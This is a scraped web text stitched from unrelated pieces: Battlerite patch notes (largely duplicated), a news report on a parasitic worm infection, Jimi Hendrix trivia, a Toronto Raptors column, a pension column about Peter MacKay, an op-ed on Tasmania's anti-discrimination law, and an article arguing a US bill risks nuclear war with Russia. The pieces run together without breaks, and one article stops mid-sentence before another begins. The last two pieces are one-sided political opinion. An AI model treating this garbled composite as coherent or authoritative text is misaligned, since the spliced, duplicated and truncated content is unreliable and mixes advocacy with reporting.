rite active. Noxious Lunge Slight Rework - Now always inflicts a 1.2s Root and reapplies Toxin if it's active on target hit. Twin Strikes Now adds damage to all Blade Flurry strikes regardless of other buffs. Camouflaged Blade Flurry strikes no longer consume both Twin Strikes. Freya Slight Battlerite tweaks have been made to Freya's Tier 1 Battlerites to improve the balance of the 3 alternatives. Thunderslam (EX E) Fixed a bug where Thunderslam would be cast in the wrong direction when moving the mouse during cast. Battlerites Charged Lightning Damage reduced from 12 to 8. Torrent Shield increased from 10 to 12. Jumong Jumong has been very popular since his release and is so far performing slightly above average. The value per energy on Jumong's Rain of Arrows has appeared to be a tad high and thus we're reducing the power level of this ability while we keep a close eye on his continued performance. Prowl (Q) and Black Arrow (Space) recast tooltips are now displayed correctly. Rain of Arrows (R) Damage reduced from 40 to 35 and slow factor reduced from 40% to 30%. Dragon Slayer (F) Will no longer pull enemies if they are hit during uninterruptible dashes. The stun caused by Dragon Slayer can now be dispelled Lucie Lucie has performed exceptionally well during the latest patch. To get her more in line with other supports she has received a slight reduction in damage on the Toxic Dart debuff that has been granting a lot of value per hit. Her EX Abilities are still very strong and used far more than her ultimate, a few changes have been made to balance this out. Toxic Dart (M1) Damage over time reduced from 12 to 9 Deadly Injection (EX M1) Range reduced from 10 to 8.5. Petrify Bolt (EX E) Cast time increased from 0.3s to 0.5s (animation changed). Oldur Chronoflux (EX Q) Fixed Team Marker colors. Battlerites Reversal Fixed a bug that caused the healing to only be based on the damage Oldur had taken. Poloma Poloma's lack of self-sustain has been an issue during the lastest patch. To compensate, most players picked the same battlerites each match for self healing purposes. We're changing her Other Side to grant self and ally healing in its core to increase her viability and hopefully to enable players to try out more diverse builds. Other Side (M2) Now heals self and nearby allies for 12 health when the effect ends Battlerites Joyful Spirits Replaced by Soul Theft Soul Theft Moving through an enemy during Other Side deals 8 damage and heals you for 8 health Rook Rook is currently performing well across the board but several champions have had a hard time going toe-to-toe with this beast. To allow for more counterplay, Rook’s Crushing Blow can now be countered and blocked. Crushing Blow (M2) Now counts as a melee attack and can thus be countered and absorbed by directional shields Tremor (F) Now displays Aim Preview Battlerites Squash & Weapon Break Now tagged with the correct keybind. Ruh Kaan Reaping Scythe (EX Space) Fixed so the correct name registered in stats, instead of "Whirlwind". Sirius Astral Beam (F) Fixed a bug where two Sirius players casting Astral Beam on each other made only the first one to cast the ability able to deal damage. Taya Zephyr (EX Q) Taya is now unhittable during Zephyr. General Updates & Fixes Fixed a bug that caused the middle orb and the dropped energy of other players to sometimes become invisible. You now need to release the corresponding ability input when casting EX abilities that has charges. Affects Ruh Kaan (Reaping Scythe, after Demonic Hunt Battlerite), Varesh (Crush), Shifu (Harpoon) and Croak (Sludge Spit after Spit spit spit battlerite) abilities. The camera should no longer display the center of the arena during one frame after loading is complete. Fixed aim preview bug in Pearl's Dive and Rooks M2. Fixed invisible aim previews when having the decal setting off. Movement speed buff, YEE-HAW, is now removed when the target is demounted. Toggling Inspiration battlerite in training mode will no longer allow max energy to increase indefinitely. Optimized network for players with low upload bandwidth. Fixed a bug where some projectiles would unintentionally trigger directional shields. Disabling the music in options now remembers the setting when restarting the game. Added mono audio option. On The Horizon For the next major patch we’re looking at the following features and updates: Next step for the Ranking System A season based ranking with multiple and separate ranks per player. May lead to a (soft) ranking reset. Winter Themed Content Additional Battlerite tree updates and reworks. We’re also continually working on new and exciting champions.
RAW Paste Data
The servers will be down for approximately 1 hour on Thursday, November 10th at 15:00 CET (9 AM EST / 6 AM PST) for patching. Features & Content New Champion: Ezmo - The Mischievous Ezmo was once imprisoned by the warlock, Aradu The Reserved, but managed to escape when his captor was too engrossed in reading his tome. Ezmo sealed Aradu's soul within the book, creating the Lost Soul Grimoire, and has carried it ever since. When he isn't playing tricks on people, Ezmo is searching for a way back to his home dimension. Vídeo de YouTube™: Battlerite Champion Preview: Ezmo "The Mischievous" Reproducciones: 3,024 10.11.16 -Ezmo is fond of arguing with his tome and causing trouble. He is an aggressive spellcaster who can move quickly through teleportation. Extended Champion Progression Champion progression now goes up to level 20 and includes additional rewards such as Legendary Chests and Titles. Legendary Chests contain at least one Legendary item. Play with same At the end of a match you can now agree to play with your current team members again. Champion Updates & Fixes Bakko Bulwark (Q) Fixed a bug with Bulwark and Harpoon/Javelin. Bakko now correctly reflects Harpoon & Javelin however Bakko does not jump to a target hit by a reflected Javelin. Reflected Harpoon will pull the target hit towards Bakko. Bulwark now reflects X-Strike projectiles instead of destroying them. Reflected Boomerangs can now be counter Reflected. Croak Croak has been performing well in lower brackets but has been dropping at higher ranks. These changes are both buffs and nerfs, as some bugs have been fixed that gave Croak more sustainability than intended at Tier 3, while some Battlerites and Buffs now work as intended and apply to all of his attacks. Croak’s been having a hard time to snatch Orbs so a slight damage buff to Frog Leap will allow him to snatch it with one strike less, whilst mobility tweaks should make him more reliable across the board and open up more Battlerite options at Tier 2. Sludge Spit (EX M2) Fixed so the Sludge Spit (EX-M2) debuff can be dispelled. Camouflage (Q) Movement speed bonus increased from 10% to 20%. Deceit (EX Q) Movement speed bonus increased from 15% to 30% (due to a bug, it was actually 30% so this doesn't change anything balance-wise) Frog Leap (Space) Damage increased from 16 to 18 Toxin Blades Toxin Blades now applies to all Blade Flurry strikes regardless of other buffs. Battlerites Cut to the Chase Now increases movement speed from 20% to 35%, instead of from 10% to 30%. Jungle Toad Fixed a bug causing Blade Flurry attacks made from Camouflage to heal Croak for 14 health with this rite active. Noxious Lunge Slight Rework - Now always inflicts a 1.2s Root and reapplies Toxin if it's active on target hit. Twin Strikes Now adds damage to all Blade Flurry strikes regardless of other buffs. Camouflaged Blade Flurry strikes no longer consume both Twin Strikes. Freya Slight Battlerite tweaks have been made to Freya's Tier 1 Battlerites to improve the balance of the 3 alternatives. Thunderslam (EX E) Fixed a bug where Thunderslam would be cast in the wrong direction when moving the mouse during cast. Battlerites Charged Lightning Damage reduced from 12 to 8. Torrent Shield increased from 10 to 12. Jumong Jumong has been very popular since his release and is so far performing slightly above average. The value per energy on Jumong's Rain of Arrows has appeared to be a tad high and thus we're reducing the power level of this ability while we keep a close eye on his continued performance. Prowl (Q) and Black Arrow (Space) recast tooltips are now displayed correctly. Rain of Arrows (R) Damage reduced from 40 to 35 and slow factor reduced from 40% to 30%. Dragon Slayer (F) Will no longer pull enemies if they are hit during uninterruptible dashes. The stun caused by Dragon Slayer can now be dispelled Lucie Lucie has performed exceptionally well during the latest patch. To get her more in line with other supports she has received a slight reduction in damage on the Toxic Dart debuff that has been granting a lot of value per hit. Her EX Abilities are still very strong and used far more than her ultimate, a few changes have been made to balance this out. Toxic Dart (M1) Damage over time reduced from 12 to 9 Deadly Injection (EX M1) Range reduced from 10 to 8.5. Petrify Bolt (EX E) Cast time increased from 0.3s to 0.5s (animation changed). Oldur Chronoflux (EX Q) Fixed Team Marker colors. Battlerites Reversal Fixed a bug that caused the healing to only be based on the damage Oldur had taken. Poloma Poloma's lack of self-sustain has been an issue during the lastest patch. To compensate, most players picked the same battlerites each match for self healing purposes. We're changing her Other Side to grant self and ally healing in its core to increase her viability and hopefully to enable players to try out more diverse builds. Other Side (M2) Now heals self and nearby allies for 12 health when the effect ends Battlerites Joyful Spirits Replaced by Soul Theft Soul Theft Moving through an enemy during Other Side deals 8 damage and heals you for 8 health Rook Rook is currently performing well across the board but several champions have had a hard time going toe-to-toe with this beast. To allow for more counterplay, Rook’s Crushing Blow can now be countered and blocked. Crushing Blow (M2) Now counts as a melee attack and can thus be countered and absorbed by directional shields Tremor (F) Now displays Aim Preview Battlerites Squash & Weapon Break Now tagged with the correct keybind. Ruh Kaan Reaping Scythe (EX Space) Fixed so the correct name registered in stats, instead of "Whirlwind". Sirius Astral Beam (F) Fixed a bug where two Sirius players casting Astral Beam on each other made only the first one to cast the ability able to deal damage. Taya Zephyr (EX Q) Taya is now unhittable during Zephyr. General Updates & Fixes Fixed a bug that caused the middle orb and the dropped energy of other players to sometimes become invisible. You now need to release the corresponding ability input when casting EX abilities that has charges. Affects Ruh Kaan (Reaping Scythe, after Demonic Hunt Battlerite), Varesh (Crush), Shifu (Harpoon) and Croak (Sludge Spit after Spit spit spit battlerite) abilities. The camera should no longer display the center of the arena during one frame after loading is complete. Fixed aim preview bug in Pearl's Dive and Rooks M2. Fixed invisible aim previews when having the decal setting off. Movement speed buff, YEE-HAW, is now removed when the target is demounted. Toggling Inspiration battlerite in training mode will no longer allow max energy to increase indefinitely. Optimized network for players with low upload bandwidth. Fixed a bug where some projectiles would unintentionally trigger directional shields. Disabling the music in options now remembers the setting when restarting the game. Added mono audio option. On The Horizon For the next major patch we’re looking at the following features and updates: Next step for the Ranking System A season based ranking with multiple and separate ranks per player. May lead to a (soft) ranking reset. Winter Themed Content Additional Battlerite tree updates and reworks. We’re also continually working on new and exciting champions.A VICTORIAN couple endured a health nightmare after tiny worms with teeth began eating through their bodies.
It is the first time humans have been infected by the parasite in Australia.
It is believed the couple became ill after eating a fish they caught on a WA camping holiday.
Alfred hospital infectious disease physician Andrew Fuller said that when the couple ate the fish, believed to be a black bream, they also ingested the gnathostomiasis larvae.
"The worms are 1-3mm long and have got these sharp little teeth and they can go anywhere they like in the body," Dr Fuller said.
The worm works its way around the human body until it dies or is killed by the immune system.
"They move under the skin and cause itchy lumps that can make you feel sick - and it can be very hard to diagnose."
The infected couple suffered muscle pain, fevers, vomiting and their skin began to look like orange peel.
They were given antibiotics and have recovered.
The worms can stay in a human for 15 years, leaving people chronically ill.
They can make their way into the brain, other organs and the spinal cord.
"They eat your tissues," Dr Fuller said.
He had treated 28 people with the condition, who all contracted it overseas.
Neither of the latest patients had been overseas.
Dr Fuller sent samples of their blood to Bangkok.
The fish was caught in the Calder River, north of Derby, and the incident was reported in The Australian Medical Journal.
Originally published as Tiny worms with teeth attack coupleJimi Hendrix, arguably the world’s greatest ever guitar hero, would've been 70 years old today. When he died, he was just twenty-seven-years-old, but in just a few years he expanded the range and vocabulary of the electric guitar to reach areas that no musician had ever ventured to before. We unearth some of Jimi’s tales from beyond the grave.
1.
Born in Seattle, USA, on November 27th 1942, his mother named him John Allen Hendrix and raised him while his father, James “Al” Hendrix, was fighting in World War II. When his father returned from Europe in 1945 he took Jimi home, divorced his wife, and renamed him James Marshall. He didn’t become Jimi Hendrix until he arrived in London in 1966. The Animals’ bassist Chas Chandler, who became his manager, suggested he swap James for Jimi.
2.
He dropped out of High School and enlisted in the Army in May 1959, becoming a member of ‘The Screaming Eagles’ 101st Airborne Division in Fort Campbell, Kentucky, as a trainee paratrooper. Fortunately for music fans everywhere, less than a year later he received a medical discharge after breaking an ankle on his twenty-sixth parachute jump.
3.
His father encouraged his musical talents, buying Jimi his first $5 acoustic guitar when he was fifteen-years-old and setting him on the path to his future vocation. A year later Al purchased his first electric guitar, a Supro Ozark 1560S.
4.
Jimi worked as a session guitarist under the moniker Jimmy James. By the end of 1965 he had played with several acts, including Ike And Tina Turner, Sam Cooke, The Isley Brothers, and Little Richard. His shows with Little Richard became caught up in a dispute over Jimi’s flashy garb - Richard felt nothing should distract attention away from his star power and so Jimi parted ways to form Jimmy James And The Blue Flames, shedding the role of back-line guitarist for the spotlight of lead guitar.
5.
Desperate to follow in the footsteps of his own British guitar idols, Jimi touched down on British soil on Saturday 24th September, 1966. He arrived at Heathrow at 9am, carrying a small bag with his guitar, a change of clothes, pink plastic hair curlers and a jar of Valderma cream for his acne. Escorting Jimi was Chas Chandler, with whom Jimi had agreed to follow to England only if he promised to introduce him to Eric Clapton, who was at that time with Cream. Within forty-eight hours he would take to the stage for an unprecedented onstage jam with Clapton, Ginger Baker and Jack Bruce.
6.
Hendrix’s more outrageous guitar techniques, such as playing with his teeth, behind his back, and without touching the strings, amazed his audiences and contributed to his reputation as a showman. A more subtle unorthodox technique of his, however, was that he played his Fender Stratocaster upside down to accommodate his left-handedness. His left-handed skills were much to the chagrin of his father who believed it was a sign of the Devil.
7.
Jimi’s weapon of choice tended to be a Fender Stratocaster, but he would occasionally play the Gibson SG, Flying V, and Les Paul. On rare occasions he played the Fender Jazzmaster and the Fender Duo-Sonic.
8.
He called his music “electric church” because he believed music was his religion. His belief is put into practice at Seattle’s Experience Music Project, where one room is simply called the Sky Church, a great hall inspired by Jimi’s concept of a place where people of all ages, interests and backgrounds could come together to experience music.
9.
Microsoft co-founder and fellow Seattle native Paul Allen is one of Hendrix’s biggest modern day fans. Disappointed Seattle had no Hendrix shrine, Allen proposed a Hendrix museum at Seattle Center in 1992. Al Hendrix enthusiastically supported the idea, but Allen and the Hendrix family later had a falling out and the museum evolved into the much larger, costlier and more innovative Experience Music Project, designed by Frank Gehry.
1o.
Hendrix and Miles Davis struck up a friendship that was believed to be fraught with “personal issues” in Jimi’s final months. However, Davis agreed to studio time for an advance of $50,000, but the dream duo never came to fruition. Critics believe Jimi became the final inspiration for Miles to renounce the classical forms of jazz, as witnessed in records such as ‘Bitches Brew’ and ‘On The Corner’.
11.
Jimi died on September 18th, 1970. The hours leading up to his untimely death are subject to numerous conspiracy theories due to the confused statements of his partner at the time, Monika Dannemann. A twenty-five-year-old German ice-skater whom he barely knew, the post-mortem revealed that he had vomited in his sleep and choked to death having overdosed on Monika’s sleeping tablets. In search of a full night’s sleep, Jimi asked Monika for some of her powerful German sedatives, Vesparax. Unaware of the half-tablet dosage, Jimi took nine. His reckless mixing of drugs and alcohol had become so commonplace the previous year that his girlfriends regularly woke up to hear him gasping and had to clear his windpipe. Sadly there was no angelic rescue and, aged twenty-seven, he died, six days short of the fourth anniversary of his arrival in London.
12.
His iconic performance of ‘Star Spangled Banner’ at Woodstock in 1969 was not a symbol of national pride, rather an attack on America’s continued occupation of Vietnam. Seconds before going onstage, Jimi debated whether or not to perform the anthem, as his manager Mike Jeffrey feared it could spark a riot. Jimi ignored his concerns, deciding with the world watching that there was no greater stage to display his disgust and contempt about the war and its reverberations, than with a performance that has become an integral part of American history.
Words by Laurie WatsonLooking back from the distance of a few years, we'll be able to pick out the date Toronto tipped forward and became a basketball-first city.
It's today. The day we started giving up on losing.
The nexus of that change will be Maple Leaf Square, rebranded for the NBA playoffs as Jurassic Park. They'll start admitting people at 9:30 in the morning. No city in the league is able to distill its pandemonium so well. Those images are a viral call to arms.
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About 12 hours later, a different mood will envelop the city. More of a smell, really. That's when the Maple Leafs will in all likelihood lose their 10-to-1 shot at landing Connor McDavid. Then the club hits rock bottom. For the next few years, the Leafs will be tunnelling.
And that's it. It's over for the foreseeable future. Hockey's out; basketball takes its place.
Toronto needs something. It's more than a confidence boost. It's an ego-reclamation project. The Raptors are finally about to give it to us.
None of the important local clubs – Blue Jays, Leafs and Raptors – has won a playoff round in the past 11 years. Cumulatively, they've only played in two.
During that same period, Boston's baseball, hockey and basketball teams have played in 45 postseason series.
We're, like, one-20th of a Boston. How bad does that make you feel? If you've spent any time in the company of Bostonians, you'll know it can't possibly be bad enough.
Eleven years is an entire sporting generation, during which we've all become inured to defeat. You think it's your fault you're always misplacing your keys? No, it's not. It's Toronto's fault. The city you live in made you a loser.
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If aliens decide to make Toronto the spot for their big Earth reveal, this local curse will cause them to crash the ship into the CN Tower and come staggering out like a bunch of green hobos.
We don't just need the Raptors to win. We need them to save us from our descent into (quite reasonable) paranoia. Everything is starting to seem like a conspiracy.
Game 1 of the best-of-seven series, against the Washington Wizards, tips off at 12:30 p.m. – which is the NBA sticking its thumb in Toronto's eye. The teams that don't matter go first.
Since the civic zeitgeist is built around the idea of thwartedness, we ought to get together and send a bouquet to NBA commissioner Adam Silver. Or maybe it's cheaper to boo him at the game. He'll be in attendance.
Silver's too new and too good to have reached the Public Enemy stage of his executive career. Everyone gets there eventually. Kicking it off here would be something special we could share together – our thing.
We hate everyone, including ourselves, so we might as well hate Adam Silver, too.
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In advance of The Anger Games, they trotted the Raptors out on Friday to say all the right things. Sadly, they refused to disappoint.
Before they came out, general manager Masai Ujiri was doing something he never does. He was standing outside the practice court at Air Canada Centre, waiting for his team's workout to end.
He didn't want to go inside and watch, and he was too scared to leave, just in case something terrible happened. On this basis alone, Ujiri has become a true Torontonian.
The team doesn't seem bothered. Last year, it was all a bit atremble before things started. There was an electric, nervous energy about the Raptors. This time, it's total cool. They seemed as though they'd prefer to do their interviews lying down.
There were no last-minute provocations following Paul Pierce's "It" manifesto. To hear them tell it, everyone on the Raptors feels a tremendous amount of "respect"" for the Wizards forward. When you put the word "respect" through the sports-to-average-citizenese translator, it comes out the other end as "hate you so much, that if I saw you walking down the street, I'd hit you with my car."
But nobody could muster any public animus. Pierce is a fading old goat and you get the strong feeling these next two weeks are the Golgotha of his career. The team's in-house firestarter, Ujiri, tried to get a rise out of him on Thursday, saying he doesn't "have enough money to respond" to Pierce's comments – a reference to the fine that will follow.
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There was an obvious riposte for Pierce – offer to peel a few off the billfold and get this thing properly started.
Instead, in a statement so furiously backpedalling he may have thrown a hip, Pierce called the Raptors "a great team."
He knew what was waiting for him at the ACC and he flinched. Still, living long enough to see Pierce become reasonable and fair-minded is a tragedy. It's like watching a shark eat a salad.
Pierce knows the Wizards are in real trouble. Their immobile, pack-the-paint defensive style is spectacularly ill-suited to take on Toronto. The Raptors can stand back and barrage them from long distance.
Also, the Wizards can afford to lose. They're probably a year away from landing free agent Kevin Durant. That's their final destination.
Toronto has to win now. It doesn't have any other choice. You always like that sort of team's chances.
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DeMar DeRozan provided the one-word pullquote. Asked if there was any way this season could be considered a success if the Raptors fail to advance out of the first round, DeRozan said, "No." Then he said it again.
That's the first time anyone's been that specific and it gives you hope.
Lou Williams can't be expected to understand our grand tradition of despair, thought last year's Game 7 defeat to the Brooklyn Nets had left the team "scarred."
This city doesn't have any room left for scars. It's just one enormous scab. Toronto's been so badly burned by its teams, we should all sleep in a hyperbaric chamber.
Someone asked coach Dwane Casey if he "fears" the Wizards.
"Fear?" Casey said, like he was hearing the word for the first time. "I've been in this too long to have fears. What I have are concerns."
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We have a few concerns, too. For instance, how do we begin to emotionally adjust if someone in Toronto is good at something? Can winning be physically uncomfortable, like growing pains? If we can't spend all our free time poor-mouthing local athletes, will we have to start saying nice things about people and actually building those damn subways? Because that's going to take some getting used to.
We've been down so long, it looks like up. We don't know any other way. It can be a sweet ache – that feeling that you're incapable of being disappointed any more.
That's what makes these next couple of weeks so risky. People are starting to believe. Even Pierce knows the tide's going out.
So, this isn't just a playoff series. It's flirting with a new way of looking at things.
This city has built a way of life around Loserdom. It makes us hard, and also hard to shake. That's the good part.
What's no fun is that there is so rarely a chance to get together and celebrate ourselves. We do it vicariously – through other teams in other places. That's why the recent world junior hockey championships were a much a greater success in Toronto than in the other host city, Montreal.
Montreal's used to winning. Toronto treats winning the way ex-cons treat sunlight – a rediscovered pleasure. We'll do anything to bask in it again.
It's still a ways off, but for the first time in forever, it's in sight again.
Basketball comes to the fore this afternoon. Hockey begins fading into nothingness by evening. And shortly thereafter, the country's biggest city begins contemplating another radical remake of the way it looks at itself.I’m trying to think of another job besides Peter MacKay’s in which you can serve for 18 years, then retire and start collecting a pension of almost $120,000 a year, for life.
I’m not getting very far. A few lucky corporate executives may be able to cash out to a similar extent, but most would have spent many more years slugging their way to the top than MacKay did. And most work in the private sector, so their cushy golden years would be funded by shareholders rather than taxpayers.
MacKay was first elected in 1997. He served on the opposition benches until the Conservative victory in 2006, and has had nine years in Stephen Harper’s cabinet. During that time he held some of the top non-finance positions, including as minister of foreign affairs, defence, and, lately justice. He was also leader of the Progressive Conservative party just long enough to agree to a merger with the Conservatives.
Not a bad resume, but hardly earth-shaking. He’s still only 49, with plenty of time – and, no doubt, excellent connections – to |
couples and their families across Tasmania and the nation — particularly those who are students, teachers or parents within the Catholic education system.”
Tasmania’s Anti-Discrimination Act was amended in 2012 (when the Greens Party was the junior partner in a coalition government with the Labor Party) and became the harshest in the nation. Under its controversial Section 17, offending, humiliating or insulting another person because of sexual orientation is prohibited.
Delaney says that the booklet offends, humiliates and insults same-sex attracted people and their children.
How? “Respect, sensitivity, and love” sound more like love-bombing than vilification. That doesn’t matter in Tasmania. The test is whether Delaney feels offended, not whether the offense is reasonable. In fact, turning up the dial on respect, sensitivity, and love could be construed as being offensively condescending.
“Don’t Mess with Marriage” is a carefully phrased, sober presentation of traditional Catholic teaching on homosexuality. So it’s not a matter of removing insulting phrases: there aren’t any. So if Delaney’s complaint succeeds, Archbishop Porteous has three options: to preach acceptance of homosexuality, to say absolutely nothing about homosexuality, or to suffer the penalties imposed by the government.
All because Delaney feels offended. And not reasonably offended, either. Here is what has insulted her.
The booklet refers to “same-sex friendships” but denies that there can be same-sex conjugal unions. “I can think of few more negative and demoralizing messages than to be told you have no hope of a lifelong, loving union,” Delaney says. “It is far worse than to be called a derogatory term based on your sexuality or gender identity.” If an idea which gives her a headache is worse than spiteful language, free speech is really in trouble.
The booklet says that the complementary union of a man and a woman makes them “whole”. “This obviously implies same-sex attracted people can never be whole people, “ says Delaney. Actually, it is not “obvious” at all. Eleven people form a whole soccer team, five a basketball team. The fact that a basketball team can never play as a soccer team does not imply that the basketballers are not “whole people”.
The booklet states that marriage is “the nursery of healthy, well rounded virtuous citizens” and research shows that a mother and a father are necessary for a child’s development. Once again, Delaney finds offense in her own inferences, not in the words of the booklet. She writes: “These statements are offensive, humiliating and insulting to the children of same-sex couples, because together they say these children are not as healthy, virtuous or as well developed as other children, simply because of the gender of their parents.”
The booklet states that marriage is “fundamental good, a foundation of human existence” and that it is associated with “social stability”. Delaney’s deconstruction of this is hilarious: “It demonizes us”. If this is the case, perhaps she should drag the United Nations before the Anti-Discrimination Commission because of the offense, humiliation and insult implied in Article 16 of the Universal Declaration of Human Rights: “Men and women of full age … have the right to marry and to found a family.”
And, finally, when Delaney fails to unearth objectively offensive language in the booklet, she appeals to what that eminent Melbourne jurist Danny Denuto, of the film The Castle, called “the vibe… of the thing” — “the booklet only states it is respectful. The overall message in the booklet is exactly the opposite.”
Tasmania’s Anti-Discrimination Act is seriously flawed, as even Melbourne’s Human Rights Law Centre acknowledged when it was amended in 2012. It said that “the words ‘offends’ and ‘insults’ are too low a threshold for vilification laws like these”. If Ms Delaney succeeds, it will be a blow to free speech throughout Australia.
The New South Wales Minister for Finance, Dominic Perrottet, had advice for Archbishop Porteous: “He should stop apologising. This is his point of view and no one else has to agree with him. He should not regret saying it just because some people have chosen to take offense. If they disagree, they should engage in debate. That is how free societies work.”
An adverse judgement by the Anti-Discrimination Tribunal could even cripple Australia’s upcoming debate on same-sex marriage. “The position outlined by the Catholic Bishop’s Conference is the position that had been taken by every leader of the two major political parties right up until last year — and it is now potentially illegal,” says Simon Breheny, of the Institute of Public Affairs. “The legitimacy of the result in the upcoming plebiscite depends upon the existence of a free and open debate. Both sides must have the opportunity to present a case to the Australian people,”
What can the Catholic Church in Tasmania do?
Fight Delaney in the courts, obviously.
But if this fails, there is the nuclear option: a counter-strike against MONA, the recently-opened Museum of Old and New Art, which has quickly become the second most popular tourist attraction in Tasmania, thanks in part to the enthusiastic support of the state government.
MONA’s mission is to be is offensive, “a subversive adult Disneyland”, as its founder, gambler David Walsh has described it. And one of the main pieces in his collection is “The Holy Virgin Mary” by Chris Ofili, a British artist. New York’s former mayor Rudi Giuliani described it as “sick” and “disgusting”, which it is.
The Madonna is surrounded by butterflies which, on closer inspection, are photographs of female genitalia. A lump of dried, varnished elephant dung forms one bared breast. Surely this falls under Section 19 of the Anti-Discrimination Act, which prohibits “hatred towards, serious contempt for, or severe ridicule of … religious belief or affiliation or religious activity.” To anyone in the Catholic tradition, “The Holy Virgin Mary” constitutes “severe ridicule.”
Archbishop Porteous should see whether the Anti-Discrimination Commission has the courage to be even-handed in enforcing the state’s absurdly draconian law.
This report first appeared at Mercatornet.com, and is reprinted with that site’s kind permission.The Russian Aggression Prevention Act”, introduced to Congress by U.S. Senator Bob Corker (R-Tenn.), will set the US on a path towards direct military conflict with Russia in Ukraine.
Any US-Russian war is likely to quickly escalate into a nuclear war, since neither the US nor Russia would be willing to admit defeat, both have many thousands of nuclear weapons ready for instant use, and both rely upon Counterforce military doctrine that tasks their military, in the event of war, to preemptively destroy the nuclear forces of the enemy.
RAPA provides de facto NATO membership for Ukraine, Georgia, and Moldova via RAPA
The Russian Aggression Prevention Act, or RAPA, “Provides major non-NATO ally status for Ukraine, Georgia, and Moldova for purposes of the transfer or possible transfer of defense articles or defense services.” Major non-NATO ally status would for practical purposes give NATO membership to these nations, as it would allow the US to move large amounts of military equipment and forces to them without the need for approval of other NATO member states. Thus RAPA would effectively bypass long-standing German opposition to the US request to make Ukraine and Georgia part of NATO.
Germans rightly fear placing US/NATO troops and US Ballistic Missile Defense (BMD) in Ukraine, given the profound and long-standing Russian objections against the expansion of NATO (especially to Ukraine and Georgia) along with deployment of European US/NATO BMD. Germany is acutely aware of the distinct possibility that the civil war raging in Ukraine could evolve into a Ukrainian-Russian war. Under such circumstances, deployment of US/NATO forces in Ukraine would make it virtually inevitable they would come into fight with Ukraine against Russia.
RAPA would accelerate the “implementation of phase three of the European Phased Adaptive Approach for Europe-based missile defense... by no later than the end of calendar year 2016.” In 2012, Russia’s highest ranking military officer stated that Russia might consider a pre-emptive strike against such BMD deployments “when the situation gets harder.”
RAPA “Directs DOD [US Department of Defense] to assess the capabilities and needs of the Ukrainian armed forces” and “Authorizes the President, upon completion of such assessment, to provide specified military assistance to Ukraine.” RAPA would have the US quickly supply Ukraine with$100 million worth of weapons and equipment, including anti-tank and anti-aircraft weapons, crew weapons, grenade launchers, machine guns, ammunition, and Mine Resistant Ambush Protected vehicles.
RAPA requires the Obama administration to
“use all appropriate elements of United States national power…to protect the independence, sovereignty, and territorial and economic integrity of Ukraine and other sovereign nations in Europe and Eurasia from Russian aggression.” This includes “substantially increasing United States and NATO support for the armed forces of the Republics of Poland, Estonia, Lithuania, and Latvia,” and “substantially increasing the complement of forward-based NATO forces in those states.”
Consequently, RAPA would produce significant buildups of US/NATO forces into Poland and the Baltic States, accelerate the construction of US BMD systems in Eastern Europe, and authorize substantial U.S. intelligence and military aid for Ukrainian military forces that continue to lay siege to the largest cities in Eastern Ukraine. If RAPA did not result in the deployment of US forces to Ukraine, it would certainly position them for rapid deployment there, in the event that the Ukrainian civil war escalates into a Ukrainian-Russian conflict.
RAPA intensifies support for ethnic cleansing in Eastern Ukraine
In Russia, Putin now is under intense domestic political pressure to send Russian forces into Eastern Ukraine, in order to stop the attacks by the Ukrainian military on the cities there, which were once part of the Soviet Union.These attacks have created an absolute humanitarian catastrophe.
On August 5, 2014, the Office of the United Nations High Commissioner for Refugees reported that 740,000 Eastern Ukrainians had fled to Russia. They go there because Russia is close, and because most of the refugees are ethnic Russians, a fact that explains why the Russophobes in Kiev have been quite willing to indiscriminately bombard their cities.
What is taking place in Eastern Ukraine amounts to “ethnic cleansing,” the forced removal of ethnic Russians from Eastern Ukraine. This is a process that is fully supported by the US; RAPA would greatly enhance this support.
Ukrainian military forces have surrounded Donetsk – a city of almost one million people – and have for weeks conducted daily attacks against it using inaccurate multiple-launch rockets, heavy artillery fire, ballistic missiles carrying warheads with up to 1000 pounds of high explosive, and aerial bombardments. Water supplies, power plants, train stations, airports, bridges, highways, and schools have all been targeted, along with the general population. In Lugansk, a city of more than 440,000 people, a humanitarian crisis has been declared by its mayor, because the siege of the city has left it with little medicine, no fuel,intermittent power, and no water since August 3 (three weeks at the time of this writing).
After the separatists of Eastern Ukraine demanded autonomy from Kiev, and then reunion with Russia, the government in Kiev branded them as “terrorists”, and sent its military forces against them in what they euphemistically call an “anti-terrorist operation.” Framing the conflict this way makes it politically acceptable to refuse to negotiate with the separatists, and easier to justify in the US and Europe, which have grown accustomed to “the War on Terrorism.” However, the thousands of Ukrainians being killed and hundreds of thousands of being driven from their homes are just ordinary people, trying to live ordinary lives.
The New York Times reports the Ukrainian military strategy has been to bombard separatist-held cities and then send paramilitary forces to carry out “chaotic, violent assaults” against them. Many of the Ukrainian paramilitary forces were recruited from ultra-nationalist, neo-Nazi political parties; the Azov battalion flies the “Wolfs Hook” flag of Hitler’s SS divisions. Considering that more than 20 million Russians died fighting the Nazis during World War II, the presence of openly Nazi militias attacking ethnic Russians in Ukraine creates extreme anger in Russia.
RAPA supports plans in Kiev for an attack on Crimea
The Russian Aggression Prevention Act demands that Russia “withdraw from the eastern border of Ukraine,” which is by definition, the Russian border. In other words, RAPA provocatively demands that Russia remove its own military forces away from its own borders, while Ukrainian military forces are meanwhile massed on the other side, attacking predominantly Russian cities.
RAPA also demands that “Russian forces must have withdrawn from Crimea within seven days of the enactment of the Act.” Not likely to happen, given that
(1) Crimea was part of the Russian empire from 1783 until 1954,
(2) withdrawal from Crimea would require Russia to abandon its only warm water port at Sevastopol, where Russian forces have been based, by internationally recognized treaty, since 1997, and
(3) more than three-quarters of all Crimeans voted “yes” to reunify with Russia, a vote which Russia accepted by its subsequent annexation of Crimea.
Thus, in the eyes of Russia, the requirement to “withdraw from Crimea” amounts to a US demand that Russia surrender Russian territory. Putin has just taken the entire Russian Duma (the Russian House of Representatives) to Crimea, to address them there and strongly make the point that there will be no withdrawal from Crimea.
RAPA, however, stipulates that the US does not recognize the Russian annexation of Crimea, and creates sanctions and legal penalties for anyone who does. RAPA therefore provides both military and political support for Ukrainian President Poroshenko’s stated goat that Ukraine will retake Crimea.
This goal was recently echoed by the Ukrainian defense minister, who was applauded by the Ukrainian Parliament when he told them that the Ukrainian army will “have a victory parade in Sevastopol“. These statements are taken seriously in Moscow, where they are viewed as a promise to attack Russia. Thus, Putin’s advisers are telling him he must fight today in Eastern Ukraine, or tomorrow in Crimea.
Any Russian military intervention in Eastern Ukraine would certainly be described in the West as Russian aggression in pursuit of empire, which would trigger deafening demands that US/NATO forces act to support Ukraine. Should NATO intervene, subsequent Russian military action against any NATO member would trigger the alliance’s Chapter 5 mutual defense clause, committing it to war with Russia.
